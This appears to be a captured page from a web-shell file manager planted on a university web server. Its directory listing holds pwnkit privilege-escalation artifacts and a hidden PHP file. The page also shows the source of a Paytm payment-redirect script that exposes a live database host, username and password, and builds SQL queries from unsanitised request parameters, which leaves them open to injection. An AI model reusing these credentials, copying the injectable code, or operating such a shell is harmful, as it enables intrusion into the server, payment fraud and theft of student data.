Gecko [ nrupathungauniversityblr.ac.in ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
lib	[ DIR ]	drwxrwxrwx
.Paytm.php	3.61 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
CHECK_TxnStatuss.php	1.53 KB	-rwxrwxrwx
TxnStatus.php	2.11 KB	-rwxrwxrwx
TxnTest.php	1.75 KB	-rwxrwxrwx
pgRedirect.php	7.91 KB	-rwxrwxrwx
pgRedirect_29112019.php	3.85 KB	-rwxrwxrwx
pgResponse.php	10.48 KB	-rwxrwxrwx
pgResponse_new.php	3.73 KB	-rwxrwxrwx
pgResponse_old.php	2.09 KB	-rwxrwxrwx
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : pgRedirect_29112019.php

<?php
header("Pragma: no-cache");
header("Cache-Control: no-cache");
header("Expires: 0");
// following files need to be included
require_once("./lib/config_paytm.php");
require_once("./lib/encdec_paytm.php");

$checkSum = "";
$paramList = array();

$checkSum = "";
$paramList = array();
$appno = $_REQUEST['productinfo'];
$funivcode = $_REQUEST['funivcode'];
$type = $_REQUEST['type'];

$servername = "97.74.228.93";
$username = "logisys3_logu";
$password = "Logisys@2106";
$databse = 'logisys3_comexam';

$conn = new  mysqli($servername,$username,$password,$databse);
if(!$conn) 
{
	die("Connection failed: " . mysqli_connect_error());
}

$get_data = "select * from maspg where fbank = 'Paytm' and FENTTYPE = '{$type}' and funivcode = '{$funivcode}'";

$result=$conn->query($get_data);

if (mysqli_num_rows($result) > 0) 
{
	while($row = mysqli_fetch_assoc($result)) 
	{
		$key    =    $row['fkey'];
		$mid    =    $row['fmid'];
		$fworkingid =    $row['fworkingid'];
		$fmode      =    $row['fmode'];
		$freturnurl =    $row['freturnurl'];
		$findtype =    $row['findtype'];		//EducationGovernment
	}
}

define('PAYTM_ENVIRONMENT', $fmode); // PROD
define('PAYTM_MERCHANT_KEY', $key); //Change this constant's value with Merchant key downloaded from portal
define('PAYTM_MERCHANT_MID', $mid); //Change this constant's value with MID (Merchant ID) received from Paytm
define('PAYTM_MERCHANT_WEBSITE', $fworkingid); //Change this constant's value with Website name received from Paytm

$get_data = "select * from dbname where funivcode ='{$funivcode}'";

$result1=$conn->query($get_data);

if (mysqli_num_rows($result1) > 0) 
{
	$dbnames = array();
	$uniname = "";
	while($row = mysqli_fetch_assoc($result1)) 
	{
		$dbnames[$row['FUNIVCODE']] = $row['FDBNAME'];
		$uniname = $row['FUNIVNAME'];
	}
}

$servername = "97.74.228.93";
$username = "logisys3_logu";
$password = "Logisys@2106";
$dbname = $dbnames[$funivcode];
//$dbname = "logisys3_bcu";

/*$servername = "localhost";
$username = "root";
$password = "";
$dbname = "logisys3_dud";*/

$conn = new mysqli($servername, $username, $password, $dbname);

if($type == 'Exam')
{
	$get_data = "select fregno,ftotalfee from appcandsum where appno = '{$appno}'";

}else 
{
	$get_data = "select fregno,ftotalfee from appcandsum where appno = '{$appno}'";
}

$result=$conn->query($get_data);

if (mysqli_num_rows($result) > 0) 
{
	// output data of each row
	while($row = mysqli_fetch_assoc($result)) 
	{
		$fregno    =    $row['fregno'];
		$ftotalfee =    $row['ftotalfee'];
	}
}

$number = rand(10000000,99999999);

$query = "update appcandsum set forderid = '{$number}', FPAYGATEWAY = 'paytm' where appno = '{$appno}'";

$result1 =$conn->query($query);

$ORDER_ID = $number;
$CUST_ID = $fregno;
$INDUSTRY_TYPE_ID = $findtype; //EducationGovernment
$CHANNEL_ID = "WEB";
$TXN_AMOUNT = $ftotalfee;

// Create an array having all required parameters for creating checksum.
$paramList["MID"] = PAYTM_MERCHANT_MID;
$paramList["ORDER_ID"] = $ORDER_ID;
$paramList["CUST_ID"] = $CUST_ID;
$paramList["MERC_UNQ_REF"] = $appno;
$paramList["INDUSTRY_TYPE_ID"] = $INDUSTRY_TYPE_ID;
$paramList["CHANNEL_ID"] = $CHANNEL_ID;
$paramList["TXN_AMOUNT"] =  $TXN_AMOUNT;
$paramList["WEBSITE"] = PAYTM_MERCHANT_WEBSITE;
$paramList["CALLBACK_URL"] = $freturnurl; //"";

$checkSum = getChecksumFromArray($paramList,PAYTM_MERCHANT_KEY);

?>
<html>
<head>
<title>Merchant Check Out Page</title>
</head>
<body>
	<center><h1>Please do not refresh this page...</h1></center>
		<form method="post" action="<?php echo PAYTM_TXN_URL ?>" name="f1">
		<table border="1">
			<tbody>
			<?php
			foreach($paramList as $name => $value) {
				echo '<input type="hidden" name="' . $name .'" value="' . $value . '">';
			}
			?>
			<input type="hidden" name="CHECKSUMHASH" value="<?php echo $checkSum ?>">
			</tbody>
		</table>
		<script type="text/javascript">
			document.f1.submit();
		</script>
	</form>
</body>
</html>

${this.title}

Code Editor : pgRedirect_29112019.php